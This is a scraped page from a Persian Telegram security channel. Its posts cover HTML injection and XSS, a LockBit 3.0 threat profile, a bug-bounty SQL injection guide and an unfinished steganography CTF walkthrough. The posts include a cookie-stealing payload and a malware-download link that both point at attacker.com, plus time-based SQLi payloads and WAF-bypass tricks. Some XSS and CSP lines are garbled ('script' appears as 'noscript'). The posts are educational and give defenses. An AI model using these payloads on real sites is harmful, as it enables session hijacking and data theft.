Mr. SAM – Telegram
Mr. SAM
147 subscribers
131 photos
7 videos
23 files
751 links
شنبه
٦ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏27 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
Mr. SAM
#HTML_Injection چگونه وب‌سایت‌ها را فقط با HTML Injection هک کنیم در این تحلیل، به بررسی مفاهیم، ارائه‌ی Payload های متنوع‌تر و تشریح سناریوهای حمله و روش‌های مقابله می‌پردازیم تا مطلبی جامع و تخصصی برای شما فراهم شود. مقدمه: HTML Injection چیست و چرا…
پیلود دکمه دانلود جعلی:
<a href="http://attacker.com/malware.exe" style="display:block; width:200px; height:50px; background-color:green; color:white; text-align:center; line-height:50px; text-decoration:none; font-family:sans-serif; font-size:18px;">Download Update</a>

این کد یک دکمه‌ی ظاهراً معتبر با عنوان "Download Update" ایجاد می‌کند که در واقع کاربر را به سمت دانلود یک فایل اجرایی مخرب هدایت می‌کند.

ارتقاء HTML Injection به XSS (Cross-Site Scripting)

اگر مکانیزم‌های امنیتی وب‌سایت ضعیف باشند، مهاجم می‌تواند از HTML Injection فراتر رفته و کدهای JavaScript را تزریق کند. این حمله به عنوان XSS شناخته می‌شود و به مراتب خطرناک‌تر است.

پیلود ساده XSS:
<noscript>alert('XSS')</noscript>

اگر پس از تزریق این کد، یک پنجره هشدار (alert) با متن 'XSS' در مرورگر ظاهر شود، وب‌سایت به Stored XSS یا Reflected XSS (بسته به نحوه ذخیره و بازتاب ورودی) آسیب‌پذیر است.

پیلود برای سرقت کوکی (Session Hijacking):
<noscript>document.location='http://attacker.com/cookie_stealer.php?c=' + document.cookie;</noscript>

این پیلود (Session Cookies) کاربر فعلی را خوانده و آن‌ها را به عنوان یک پارامتر در URL به سرور مهاجم ارسال می‌کند. مهاجم با در دست داشتن این کوکی‌ها می‌تواند سشن کاربر را ربوده و بدون نیاز به نام کاربری و رمز عبور، وارد حساب کاربری او شود.

روش‌های مقابله و پیشگیری

جلوگیری از حملات HTML Injection نیازمند یک رویکرد چندلایه در توسعه نرم‌افزار است.

1. اعتبارسنجی ورودی (Input Validation)

هرگز به ورودی کاربر اعتماد نکنید. باید تمام داده‌های دریافتی از سمت کاربر بر اساس یک لیست سفید (Whitelist) از کاراکترها، الگوها و فرمت‌های مجاز اعتبارسنجی شوند. برای مثال، اگر یک فیلد فقط باید شامل اعداد باشد، هر ورودی دیگری باید رد شود.

2. پاک‌سازی خروجی (Output Encoding/Sanitization)

این مهم‌ترین و مؤثرترین روش دفاعی است. قبل از نمایش هرگونه داده‌ی ورودی از کاربر در خروجی HTML، کاراکترهای خاص HTML باید به معادل‌های امن خود (HTML Entities) تبدیل شوند.

< تبدیل شود به &lt;
> تبدیل شود به &gt;
" تبدیل شود به &quot;
' تبدیل شود به &#39;
& تبدیل شود به &amp;

با این کار، مرورگر تگ‌های تزریق شده را به عنوان متن ساده تفسیر می‌کند و آن‌ها را اجرا نخواهد کرد. اکثر فریمورک‌های مدرن وب (مانند React, Angular, Django, Rails) به صورت پیش‌فرض این کار را انجام می‌دهند، اما همیشه باید از فعال بودن و پیکربندی صحیح آن اطمینان حاصل کرد.

3. استفاده از Content Security Policy (CSP)

۔CSP یک لایه امنیتی اضافی است که به مدیران وب‌سایت اجازه می‌دهد تا مشخص کنند مرورگر مجاز به بارگذاری منابع (مانند اسکریپت‌ها، استایل‌ها، تصاویر) از چه دامنه‌هایی است. یک CSP قوی می‌تواند حتی در صورت موفقیت‌آمیز بودن تزریق، از اجرای اسکریپت‌های مخرب یا بارگذاری منابع از سرورهای ناشناس جلوگیری کند.

* مثال از یک هدر CSP:


Content-Security-Policy: default-src 'self'; noscript-src 'self' trusted-noscripts.com; img-src *;


این خط مشی به مرورگر می‌گوید که به طور پیش‌فرض منابع را فقط از دامنه خود وب‌سایت ( 'self' ) بارگذاری کند، اسکریپت‌ها را فقط از دامنه خود و trusted-noscripts.com اجرا کند و تصاویر را از هر منبعی ( * ) بارگذاری نماید. این سیاست از اجرای اسکریپت‌های inline یا بارگذاری منابع از سرور مهاجم جلوگیری می‌کند.

### نتیجه‌گیری

آسیب پذیری HTML Injection به ظاهر ساده اما با پتانسیل تخریب بالاست. درک عمیق مکانیزم‌های این حمله، سناریوهای بهره‌برداری و مهم‌تر از همه، روش‌های پیشگیری، برای هر متخصص امنیت و توسعه‌دهنده وب ضروری است. این آسیب‌پذیری یادآور یک اصل بنیادین در امنیت سایبری است: "هرگز به ورودی کاربر اعتماد نکنید" (Never trust user input). با پیاده‌سازی صحیح تکنیک‌های Input Validation و Output Encoding، می‌توان به طور کامل از این دسته حملات جلوگیری کرد و امنیت اپلیکیشن‌های وب را به میزان قابل توجهی افزایش داد.

@NullError_ir
مرز میان برنامه‌نویسی و تحقیقات امنیتی همچون تیغی باریک و برنده است؛ فهم مکانیزم‌های پنهان در دل کد، کلید گشودن دروازه‌های محافظت یا فروپاشی آن است . هر خط کد، نه یک دستور، بلکه یک میدان نبرد است. برنامه‌نویس آن را برای اجرا می‌نویسد، اما یک محقق امنیتی آن را برای شکستن می‌خواند. درک عمیق کد، تنها سلاحی است که در هر دو سوی این نبرد به کار می‌آید.

@NullError_ir
#LockBit

یک پروفایل سطح بالای APT
از LockBit - امپراتوری باج‌افزار

گروه LockBit ، یکی از بدنام‌ترین و پرکارترین بازیگران در اکوسیستم جرایم سایبری، با عرضه نسخه LockBit 3.0 که با نام LockBit Black نیز شناخته می‌شود، سلطه خود را به عنوان یک تهدید مستمر پیشرفته (APT) در دنیای باج‌افزارها تثبیت کرده است. این گروه که تحت مدل Ransomware-as-a-Service (RaaS) فعالیت می‌کند، با نوآوری‌های فنی و یک مدل تجاری بی‌رحمانه، به کابوسی برای سازمان‌ها در سراسر جهان تبدیل شده است. در این تحلیل، به کالبدشکافی این گروه، تاکتیک‌ها، تکنیک‌ها و رویه‌های آن‌ها و ویژگی‌های منحصربه‌فرد آخرین نسخه باج‌افزارشان می‌پردازیم.

۔LockBit کیست؟ از آغاز تا تکامل به LockBit 3.0

گروه LockBit برای اولین بار در سپتامبر ۲۰۱۹ شناسایی شد و به سرعت با به‌روزرسانی‌های مداوم و توسعه یک پلتفرم RaaS قدرتمند، از رقبای خود پیشی گرفت. این گروه تکامل خود را در سه نسخه اصلی به نمایش گذاشته است:

LockBit: نسخه اولیه که از الگوریتم‌های رمزنگاری استاندارد و مکانیزم‌های انتشار اولیه استفاده می‌کرد.

LockBit 2.0 (LockBit Red): این نسخه یک جهش بزرگ بود. ویژگی برجسته آن، قابلیت انتشار خودکار (Self-Propagation) در شبکه‌های قربانی از طریق Group Policy ویندوز بود که نیاز به دخالت دستی اپراتور برای حرکت جانبی را به شدت کاهش می‌داد.

LockBit 3.0 (LockBit Black): این نسخه که در ژوئن ۲۰۲۲ عرضه شد، اوج تکامل فنی این گروه محسوب می‌شود. LockBit 3.0 ماژولارتر، مخفی‌کارتر و قدرتمندتر از همیشه است.

یکی از جنبه‌های منحصربه‌فرد LockBit، رویکرد "حرفه‌ای" و "تجاری" آن است. آن‌ها خود را نه یک گروه هکری با انگیزه‌های سیاسی، بلکه یک "کسب‌وکار" معرفی می‌کنند که تنها هدفش کسب درآمد است. این گروه حتی با راه‌اندازی یک برنامه Bug Bounty ، از محققان امنیتی دعوت کرد تا در ازای پاداش مالی، آسیب‌پذیری‌های موجود در نرم‌افزارشان را گزارش دهند؛ اقدامی که نشان‌دهنده اعتماد به نفس و همچنین تلاش آن‌ها برای بهبود مستمر ابزارهایشان است.

مدل کسب‌وکار: Ransomware-as-a-Service (RaaS)

موفقیت LockBit به شدت به مدل عملیاتی RaaS آن وابسته است. در این مدل، تیم اصلی LockBit مسئولیت توسعه و نگهداری باج‌افزار، زیرساخت Command and Control (C2) و پلتفرم مذاکره را بر عهده دارد. سپس این "سرویس" را در اختیار گروه‌های دیگر که به عنوان Affiliates (همکاران) شناخته می‌شوند، قرار می‌دهد.

* ۔Affiliates: این گروه‌ها مسئولیت نفوذ اولیه به شبکه‌های هدف، حرکت جانبی، استخراج داده‌ها و در نهایت اجرای باج‌افزار را بر عهده دارند.

* تقسیم سود: درآمد حاصل از باج پرداختی توسط قربانیان، بین تیم اصلی LockBit و Affiliate تقسیم می‌شود. معمولاً سهم Affiliate حدود ۷۰ تا ۸۰ درصد از کل مبلغ باج است که انگیزه‌ای بسیار قوی برای همکاری با این پلتفرم ایجاد می‌کند.

این مدل به LockBit اجازه داده است تا عملیات خود را به شکلی باورنکردنی مقیاس‌پذیر کند و همزمان از تخصص گروه‌های مختلف در زمینه‌های گوناگون نفوذ بهره‌مند شود.

کالبدشکافی فنی LockBit 3.0 (LockBit Black)

نسخه 3.0 با الهام‌گیری از ویژگی‌های باج‌افزار BlackMatter ، پیشرفت‌های قابل توجهی را معرفی کرد:

* رمزگذاری ماژولار و سریع: این باج‌افزار از یک رویکرد چندنخی (Multi-threaded) برای رمزگذاری فایل‌ها استفاده می‌کند که فرآیند را به شدت تسریع می‌بخشد.

* تکنیک‌های ضد تحلیل (Anti-Analysis): LockBit 3.0 به شدت مبهم‌سازی (Obfuscate) شده و از تکنیک‌های مختلفی برای جلوگیری از دیباگ شدن و مهندسی معکوس استفاده می‌کند. یکی از ویژگی‌های کلیدی آن این است که Payload اصلی باج‌افزار تنها پس از وارد کردن یک پسورد خاص در زمان اجرا، به صورت کامل Decrypt و اجرا می‌شود. این پسورد برای هر حمله منحصربه‌فرد است و تحلیل خودکار آن را در Sandboxها تقریباً غیرممکن می‌سازد.

* غیرفعال‌سازی سیستم‌های دفاعی: این بدافزار به صورت خودکار سرویس‌ها و فرآیندهای مرتبط با نرم‌افزارهای امنیتی (EDR, Antivirus)، ابزارهای پشتیبان‌گیری (مانند Veeam) و پایگاه‌های داده را خاتمه می‌دهد تا از رمزگذاری کامل فایل‌ها اطمینان حاصل کند.

* حذف Shadow Copies: برای جلوگیری از بازیابی اطلاعات توسط قربانی، به صورت سیستماتیک نسخه‌های پشتیبان Volume Shadow Copy را با استفاده از دستور vssadmin حذف می‌کند.

* تغییر آیکون فایل‌ها و Wallpaper: پس از رمزگذاری، آیکون فایل‌های آلوده به آیکون LockBit تغییر کرده و تصویر پس‌زمینه دسکتاپ نیز با یادداشت باج (Ransom Note) جایگزین می‌شود.

زنجیره حمله: تاکتیک‌ها، تکنیک‌ها و رویه‌ها بر اساس MITRE ATT&CK
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#LockBit یک پروفایل سطح بالای APT از LockBit - امپراتوری باج‌افزار گروه LockBit ، یکی از بدنام‌ترین و پرکارترین بازیگران در اکوسیستم جرایم سایبری، با عرضه نسخه LockBit 3.0 که با نام LockBit Black نیز شناخته می‌شود، سلطه خود را به عنوان یک تهدید مستمر…
عملیات LockBit یک زنجیره حمله پیچیده و چندمرحله‌ای را دنبال می‌کند که توسط Affiliates اجرا می‌شود.

#### 1۔Initial Access (T1190, T1078, T1566)

* ۔Exploiting Public-Facing Applications: بهره‌برداری از آسیب‌پذیری‌های شناخته‌شده در نرم‌افزارهای عمومی مانند VPNها، سرورهای Exchange و اخیراً آسیب‌پذیری مشهور Citrix Bleed (CVE-2023-4966).

* ۔Valid Accounts & RDP: استفاده از اعتبارنامه‌های سرقت‌شده یا ضعیف برای دسترسی از طریق پروتکل Remote Desktop (RDP).

* ۔Phishing: ارسال ایمیل‌های فیشینگ هدفمند برای فریب کاربران و به دست آوردن دسترسی اولیه.

#### 2۔ Execution (T1059)

* استفاده گسترده از PowerShell و Command Shell برای اجرای اسکریپت‌ها و دستورات مخرب.

#### 3۔ Persistence (T1505.003)

* ایجاد Scheduled Tasks برای اطمینان از اجرای مجدد بدافزار در صورت راه‌اندازی مجدد سیستم.

#### 4۔ Privilege Escalation (T1068)

* بهره‌برداری از پیکربندی‌های نادرست و آسیب‌پذیری‌های سیستمی برای دستیابی به سطح دسترسی SYSTEM/Administrator.

#### 5۔ Defense Evasion (T1562.001)

* اجرای اسکریپت‌هایی برای غیرفعال کردن Windows Defender و دیگر محصولات امنیتی. پاک کردن لاگ‌های رویداد (Event Logs) برای از بین بردن ردپای فعالیت‌ها.

#### 6۔ Credential Access (T1003)

* استفاده از ابزارهایی مانند Mimikatz برای استخراج اعتبارنامه‌ها (Passwords, Hashes) از حافظه فرآیندهایی مانند LSASS.

#### 7۔ Discovery (T1087, T1018, T1049)

* استفاده از ابزارهای Native ویندوز مانند net , nltest , ipconfig و systeminfo برای شناسایی ساختار شبکه، دامنه‌ها، کاربران و سیستم‌ها.

#### 8۔ Lateral Movement (T1021.002)

* استفاده از ابزارهای شناخته‌شده مانند Cobalt Strike و PsExec برای حرکت در شبکه و آلوده کردن سیستم‌های دیگر.

#### 9۔ Exfiltration (T1048)

* قبل از مرحله رمزگذاری، داده‌های حساس از شبکه قربانی استخراج و به سرورهای تحت کنترل مهاجمان منتقل می‌شود. این کار با ابزارهای سفارشی مانند StealBIT یا ابزارهای قانونی مانند Rclone انجام می‌شود. این تکنیک Double Extortion نام دارد.

#### 10۔ Impact (T1486)

* در مرحله نهایی، باج‌افزار LockBit 3.0 در سراسر شبکه اجرا شده، فایل‌ها را رمزگذاری می‌کند و یادداشت باج را در هر پوشه قرار می‌دهد. قربانی تهدید می‌شود که اگر باج را پرداخت نکند، داده‌های به سرقت رفته‌اش در وب‌سایت نشت داده (Leak Site) گروه منتشر خواهد شد.

توجه : شناسه‌های Txxxx مانند ، کدهای مربوط به فریم‌ورک MITRE ATT&CK هستند

فریم‌ورک MITRE ATT&CK چیست؟

۔MITRE ATT&CK یک پایگاه دانش جهانی و رایگان است که به صورت جامع، تاکتیک‌ها ، تکنیک‌ها و رویه‌های (TTPs) مورد استفاده توسط مهاجمان سایبری را بر اساس مشاهدات دنیای واقعی، دسته‌بندی و مستند می‌کند.

این فریم‌ورک به متخصصان امنیت سایبری در سراسر جهان یک زبان مشترک می‌دهد تا بتوانند رفتارها و مراحل حمله یک گروه مهاجم (APT) را به صورت استاندارد توصیف و تحلیل کنند.

اجازه دهید ساختار آن را توضیح دهم:

۱۔ Tactics (تاکتیک‌ها): هدف مهاجم چیست؟

این‌ها اهداف سطح بالای یک مهاجم در طول یک حمله هستند. به عبارتی، پاسخ به سوال "چرا" (Why) این کار را انجام می‌دهد. در تحلیل LockBit که ارسال کردم، مواردی مانند:

* ۔Initial Access (دسترسی اولیه)
* ۔Execution (اجرا)
* ۔Persistence (ماندگاری)
* ۔Exfiltration (استخراج داده)
* ۔Impact (تأثیرگذاری)

همگی نمونه‌هایی از تاکتیک‌ها هستند. هر تاکتیک، یک ستون در ماتریس معروف ATT&CK است.

۲۔ Techniques (تکنیک‌ها): مهاجم چگونه به هدفش می‌رسد؟

هر تاکتیک شامل چندین تکنیک است که روش‌های مشخص "چگونه" (How) رسیدن به آن هدف را توصیف می‌کنند. هر کدام از این تکنیک‌ها یک شناسه منحصربه‌فرد دارند که با حرف "T" شروع می‌شود.

مثال (T1048) :

* ۔Tactic Exfiltration (هدف: سرقت و استخراج داده)

* ۔Technique (T1048) Exfiltration Over Alternative Protocol: (تکنیک: استخراج داده از طریق یک پروتکل جایگزین)

این کد به صورت دقیق به یک تحلیل‌گر امنیتی می‌گوید که مهاجم برای خارج کردن داده‌ها از شبکه، از پروتکل‌هایی غیر از پروتکل اصلی Command and Control (C2) خود استفاده کرده است (مثلاً ممکن است از FTP یا DNS Tunneling استفاده کند).

گاهی یک تکنیک، زیرمجموعه‌های دقیق‌تری هم دارد که به آن‌ها Sub-techniques می‌گویند و با فرمت Txxxx.yyy نمایش داده می‌شوند.

چرا استفاده از این کدها مهم است؟

1. استانداردسازی: وقتی شما می‌نویسید "مهاجم از T1048 استفاده کرد" ، تمام متخصصان امنیت در دنیا دقیقاً می‌دانند منظور شما کدام روش است و نیازی به توضیحات طولانی نیست.
Mr. SAM
عملیات LockBit یک زنجیره حمله پیچیده و چندمرحله‌ای را دنبال می‌کند که توسط Affiliates اجرا می‌شود. #### 1۔Initial Access (T1190, T1078, T1566) * ۔Exploiting Public-Facing Applications: بهره‌برداری از آسیب‌پذیری‌های شناخته‌شده در نرم‌افزارهای عمومی مانند…
2. تحلیل هوش تهدید (Threat Intelligence): این کدها به ما اجازه می‌دهند رفتار گروه‌های مختلف (مثل LockBit, Conti, APT29) را با یکدیگر مقایسه کرده و الگوهای مشترک یا منحصربه‌فرد آن‌ها را شناسایی کنیم.

3. بهبود دفاع (Threat-Informed Defense): تیم‌های آبی (Blue Teams) و مدیران امنیتی با استفاده از این ماتریس می‌توانند پوشش دفاعی خود را ارزیابی کنند. مثلاً از خود می‌پرسند: "ما در برابر کدام یک از تکنیک‌های Initial Access آسیب‌پذیر هستیم؟ " و سپس راهکارهای دفاعی خود را بر اساس آن اولویت‌بندی می‌کنند.


نتیجه‌گیری و توصیه‌های دفاعی

۔LockBit 3.0 صرفاً یک باج‌افزار نیست؛ بلکه یک پلتفرم جرایم سایبری کاملاً توسعه‌یافته با یک مدل تجاری کارآمد است که آن را به یکی از خطرناک‌ترین تهدیدات فعال در جهان تبدیل کرده است. مقیاس‌پذیری مدل RaaS و پیچیدگی فنی باج‌افزار آن، دفاع در برابر آن را به یک چالش جدی برای تیم‌های امنیتی بدل کرده است.

سازمان‌ها برای مقابله با این تهدید باید یک رویکرد دفاعی چندلایه و عمیق (Defense-in-Depth) اتخاذ کنند:

* مدیریت آسیب‌پذیری و Patching: به‌روزرسانی فوری سیستم‌ها، به ویژه سرویس‌های عمومی.

* احراز هویت چندعاملی (MFA): فعال‌سازی MFA برای تمام دسترسی‌های خارجی، به خصوص RDP و VPN.

* ۔Segment‌بندی شبکه: جداسازی شبکه‌ها برای محدود کردن حرکت جانبی مهاجمان.

* آموزش و آگاهی‌رسانی امنیتی: آموزش کاربران برای شناسایی حملات فیشینگ.

* پشتیبان‌گیری و بازیابی: تهیه نسخه‌های پشتیبان منظم، ایمن و آفلاین (Immutable Backups).

* ۔Monitoring و EDR: استفاده از راه‌حل‌های Endpoint Detection and Response برای شناسایی و متوقف کردن فعالیت‌های مشکوک در مراحل اولیه زنجیره حمله.


@NullError_ir
#SQLI

باگ SQL Injection در یک برنامه Bug Bounty


یک راهنما برای یافتن آسیب‌پذیری SQLi با استفاده از payloadهای مبتنی بر زمان (Time-based) ، ابزار sqlmap و شناسایی هوشمند (Smart Reconnaissance) .

چرا SQLi همچنان در امنیت وب اهمیت دارد؟

با وجود گذشت دهه‌ها از کشف آن، SQL Injection (SQLi) همچنان یک تهدید حیاتی محسوب می‌شود. این آسیب‌پذیری به یک هانتر اجازه می‌دهد تا مستقیماً با پایگاه داده یک وب‌سایت تعامل داشته باشد. این کار به شما می‌آموزد که اپلیکیشن‌ها چگونه فکر می‌کنند و چگونه می‌توان آن‌ها را به فکر کردن نادرست وادار کرد.

۱۔ Reconnaissance (Recon) همه‌چیز است

شما نمی‌توانید چیزی را که نمی‌بینید، آزمایش کنید. اولین و حیاتی‌ترین قدم در Bug Bounty Hunting، ساختن یک لیست عظیم از اهداف بالقوه است.

گام اول: کشف Subdomainها

ابزارهایی مانند subfinder یا Amass برای این کار عالی هستند.

subfinder -d example.com -silent | httpx -silent > subdomains.txt


گام دوم: یافتن Endpointهای جذاب

در مرحله بعد، از ابزارهایی برای crawl کردن این زیردامنه‌ها و جستجوی صفحاتی که پارامتر قبول می‌کنند، به ویژه در URLها و فرم‌ها، استفاده کردم. این‌ها درهایی هستند که باید سعی کنیم بازشان کنیم. ابزار katana برای این منظور بسیار کارآمد است.

katana -u https://sub.example.com -silent | grep "=" | uro > endpoints.txt


> نکته حرفه‌ای: نتایج را برای صفحاتی با پسوندهای رایج مانند .php ، .asp و .jsp فیلتر کنید، زیرا این صفحات اغلب کوئری‌های پایگاه داده را مدیریت می‌کنند.

گام سوم: معدن طلای Google Dorking

۔Google Dorking یک تکنیک قدرتمند برای یافتن پارامترها و endpointهای پنهانی است که ممکن است crawlerها از دست بدهند.

site:example.com inurl:php?id=
site:example.com "index of" /admin
site:example.com inurl:product.asp?id=


این تکنیک اغلب پنل‌های ادمین یا صفحات قدیمی و فراموش‌شده‌ای را آشکار می‌کند که برای آزمایش عالی هستند.

۲. ابتدا تست دستی: درک منطق آسیب‌پذیری

فرض کنید : https://api.example.com/user.php?id=123 پیدا شد . کار را با payloadهای کلاسیک تست شروع کنید:

https://api.example.com/user.php?id=123'
https://api.example.com/user.php?id=123'--


صفحه هیچ خطای پایگاه داده‌ای را نشان نداد. فقط یک صفحه خالی برگرداند. این رفتار نشان‌دهنده وجود یک WAF است که به طور خاموش درخواست‌ها را مسدود می‌کند. اینجاست که بسیاری از مبتدیان تسلیم می‌شوند.

۳. تزریق SQL مبتنی بر زمان (Time-Based SQL Injection)

وقتی یک اپلیکیشن خطا یا داده‌ای را به شما نشان نمی‌دهد، باید از آن یک سوال بپرسید و مدت زمانی که طول می‌کشد تا پاسخ دهد را اندازه‌گیری کنید. این تکنیک Time-based Blind SQLi نامیده می‌شود.

یک دستور ساده SLEEP در MySQL :

https://api.example.com/user.php?id=123' AND SLEEP(5)--


بله صفحه دقیقاً پنج ثانیه معلق ماند و سپس پاسخ داد. 😎! برای اطمینان کامل، آن را با یک کوئری نادرست نیز تأیید کنید :

https://api.example.com/user.php?id=123' AND SLEEP(0)--


صفحه فوراً بارگذاری شد. اپلیکیشن آسیب‌پذیر و منتظر دستور است .

۴. تست خودکار با Sqlmap

تأیید دستی رضایت‌بخش است، اما برای ترسیم گستره کامل آسیب‌پذیری، به تست خودکار نیاز است. از ابزار sqlmap استفاده کنید

sqlmap -u "https://api.example.com/user.php?id=123" --technique=T --time-sec=10 --batch


* -u: آدرس URL هدف.

* --technique=T: مشخص کردن استفاده انحصاری از تکنیک Time-based.

* --time-sec=10: وادار کردن پایگاه داده به تعلیق به مدت ۱۰ ثانیه (برای شبکه‌های کند قابل اطمینان‌تر است).

* --batch: اجرا در حالت غیرتعاملی (non-interactive).

۔Sqlmap کار را به دست گرفت، آسیب‌پذیری تأیید شد و در نهایت نام پایگاه داده را استخراج کرد. این یک یافته تمیز و اثبات‌شده است.


۵. هنر دور زدن WAF (WAF Bypass)

کوئری‌های ساده اولیه مسدود شدند. پس چگونه payload حاوی SLEEP از فایروال عبور کرد؟ دور زدن WAF اغلب به مبهم‌سازی خلاصه می‌شود. بسیاری از WAFها با الگوهای رایج مانند SLEEP() یا UNION فعال می‌شوند. برای دور زدن آن‌ها، اغلب می‌توانید از سینتکس‌های جایگزین یا کامنت‌ها برای شکستن امضای شناخته‌شده payload استفاده کنید. برای مثال، در MySQL به جای SLEEP(5) ، می‌توانید امتحان کنید:

AND (SELECT * FROM (SELECT(SLEEP(5)))a)


این ساختار تودرتو، بسیاری از WAFها که به دنبال الگوی ساده SLEEP(X) هستند را فریب می‌دهد.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#SQLI باگ SQL Injection در یک برنامه Bug Bounty یک راهنما برای یافتن آسیب‌پذیری SQLi با استفاده از payloadهای مبتنی بر زمان (Time-based) ، ابزار sqlmap و شناسایی هوشمند (Smart Reconnaissance) . چرا SQLi همچنان در امنیت وب اهمیت دارد؟ با وجود گذشت دهه‌ها…
۔Sqlmap دارای اسکریپت‌های داخلی به نام "tamper noscripts" است که این کار را به طور خودکار انجام می‌دهند. استفاده از سوییچ --tamper=space2comment اغلب برای عبور از قوانین پایه‌ای WAF کافی است.

۶. درسی در مورد افشای مسئولانه (Responsible Disclosure)

آسیب‌پذیری از طریق برنامه باگ بانتی شرکت به تیم امنیتی آن‌ها گزارش شود. گزارش شامل موارد زیر باشد:

* توصیف واضحی از endpoint آسیب‌پذیر.

* مراحل دقیق برای بازتولید مشکل (payloadهای استفاده شده).

* تأثیر و ریسک آسیب‌پذیری (پتانسیل دسترسی به داده‌ها).

* خروجی ابزار sqlmap به عنوان مدرک.

جعبه ابزار برای Payloadهای SQLi

این‌ها payloadهای پایه مبتنی بر زمان هستند که می شود برای پایگاه‌های داده مختلف آزمایش کرد:

* MySQL: id=1' AND SLEEP(5)-- -

* PostgreSQL: id=1' AND pg_sleep(5)-- -

* MSSQL: id=1' WAITFOR DELAY '0:0:5'-- -

نکات کلیدی

* ۔Recon پادشاه است: درصد زیادی از زمان خود را صرف یافتن endpointها کنید. ابزارهایی مانند subfinder ، httpx و katana بهترین دوستان شما هستند.

* تکنیک‌های Blind را بپذیرید: اگر خطایی مشاهده نکردید، تسلیم نشوید. Time-based SQL injection یک تکنیک خاموش اما قدرتمند است.

* مسئولانه خودکارسازی کنید: از sqlmap و ghauri فقط روی اهدافی استفاده کنید که مجاز به آزمایش آن‌ها هستید. این ابزارها قدرتمند هستند و می‌توانند مخرب باشند.

* پشتکار نتیجه می‌دهد: تفاوت بین یافتن یک آسیب‌پذیری و نیافتن آن، اغلب فقط یک payload بیشتر، یا یک endpoint دیگر است.

دنیای امنیت وب گسترده است، حتی قدیمی‌ترین آسیب‌پذیری‌ها را می‌توان با یک رویکرد مدرن و دقیق پیدا کرد.

@NullError_ir
👍1
#Stegoint

چالش Stegoint: یک سناریوی تحلیل عمیق و چند لایه

در این چالش که یک مسیر خطی ساده ندارد، یک تصویر به ما داده شده که باید flag نهایی چالش را در آن پیدا کنیم . یک زنجیره چند مرحله‌ای از تکنیک‌های مختلف رمزنگاری، پنهان‌نگاری و تحلیل داده . در ادامه، فرآیند حل چالش را به صورت یک سناریو بازسازی می‌کنیم.

فاز اول: شناسایی سطح اولیه (Initial Surface Analysis)

* هدف: جمع‌آوری اطلاعات اولیه از فایل هدف ( steve.jpg ).

* ابزار: exiftool

* دستور:

exiftool steve.jpg


* یافته کلیدی (Indicator): در خروجی exiftool ، دو فیلد مشکوک و حیاتی وجود دارد:

1. یک رشته طولانی و به ظاهر تصادفی :

Gur V hfrq fgrtuvqr gb uvqr gur svyr naq gur cnffjbeq vf va gur qrfpevcgvba

2. یک رشته کوتاه : stegopass

* تحلیل و فرضیه‌سازی:

* رشته موجود در Image Denoscription به وضوح شبیه یک رمز عبور است ( stegopass ).

* رشته Comment فاقد پترن‌های رایج انکودینگ مانند Base64 (مثلاً کاراکتر = در انتها یا استفاده از + و / ) است. اما توزیع حروف آن شبیه به زبان انگلیسی است. این یک نشانه قوی برای استفاده از یک رمزنگاری جایگزینی ساده (Simple Substitution Cipher) است. در دنیای CTF، اولین مظنون همیشه ROT13 است.

فاز دوم: شکستن رمز اولیه و کشف ابزار

* هدف: رمزگشایی رشته Comment برای درک پیام پنهان.

* ابزار CyberChef (ابزار استاندارد صنعتی برای این نوع تحلیل‌ها) یا هر دیکودر آنلاین ROT13.

* **چرا CyberChef؟
برخلاف ابزارهای آنلاین ساده، CyberChef دارای قابلیتی به نام "Magic" است. با قرار دادن رشته ورودی و اجرای "Magic"، این ابزار به طور خودکار ده‌ها نوع انکودینگ و رمزنگاری رایج (از جمله ROT13) را تست کرده و محتمل‌ترین نتیجه را پیشنهاد می‌دهد. این رویکرد بسیار حرفه‌ای‌تر و سریع‌تر از "آزمون و خطا"ی دستی است.

* ورودی (Input):
Gur V hfrq fgrtuvqr gb uvqr gur svyr naq gur cnffjbeq vf va gur qrfpevcgvba

* خروجی (Output) پس از اعمال ROT13:
The I used steghide to hide the file and the password is in the denoscription

* تحلیل و نتیجه‌گیری:
این پیام رمزگشایی شده، یک نقشه راه دقیق است:

1.ابزار استفاده شده: steghide

2.محل رمز عبور: in the denoscription (که به فیلد Image Denoscription در فراداده‌ها اشاره دارد).

فاز سوم: استخراج لایه اول داده پنهان

* هدف: استفاده از اطلاعات به دست آمده برای استخراج فایل جاسازی شده با steghide.

* ابزار: steghide

* دستور:
steghide extract -sf steve.jpg

* تعامل (Interaction): ابزار از شما یک passphrase درخواست می‌کند. بر اساس تحلیل فاز اول، رمز عبور stegopass را وارد می‌کنیم.

* خروجی: یک فایل جدید به نام secret.txt استخراج می‌شود.

فاز چهارم: تحلیل محتوای استخراج شده و ورود به لایه دوم

* هدف: بررسی فایل secret.txt و کشف مرحله بعدی.

* دستور:
cat secret.txt

* یافته کلیدی: محتوای این فایل، فلگ نهایی نیست، بلکه یک رشته طولانی و رمز شده دیگر است که به یک لینک pastebin اشاره دارد و مجدداً با ROT13 رمز شده است.

uggcf://cnfgrova.pbz/l1td4RTW

* رمزگشایی (با همان CyberChef ):

https://pastebin.com/y1gq4EGJ

فاز پنجم: تحلیل داده‌های Pastebin و استخراج فایل ZIP

* هدف: دسترسی به لینک Pastebin و تحلیل محتوای آن.

* یافته کلیدی: صفحه Pastebin حاوی یک بلاک بسیار بزرگ از متن Base64 است.

* اقدام:

1. کل متن Base64 را کپی می‌کنیم.

2. با استفاده از ابزار خط فرمان base64 یا مجدداً CyberChef ، آن را دیکود می‌کنیم.

3. خروجی دیکود شده را در یک فایل باینری ذخیره می‌کنیم (مثلاً output.bin ).


base64 --decode < pastebin_content.txt > output.bin


* تحلیل فایل خروجی: اکنون باید ماهیت این فایل باینری را کشف کنیم.

* ابزار: file

* دستور:

file output.bin

* خروجی:

output.bin: Zip archive data, at least v2.0 to extract

* نتیجه‌گیری: این همان فایل ZIP است . این فایل از داده‌های Base64 که در لینک Pastebin پنهان بود، متولد شد. حالا ما یک فایل output.zip داریم که احتمالاً حاوی فلگ نهایی است، اما قطعاً با رمز عبور محافظت می‌شود.

فاز ششم: شکار رمز عبور فایل ZIP با تحلیل LSB

* هدف: پیدا کردن رمز عبور فایل output.zip .

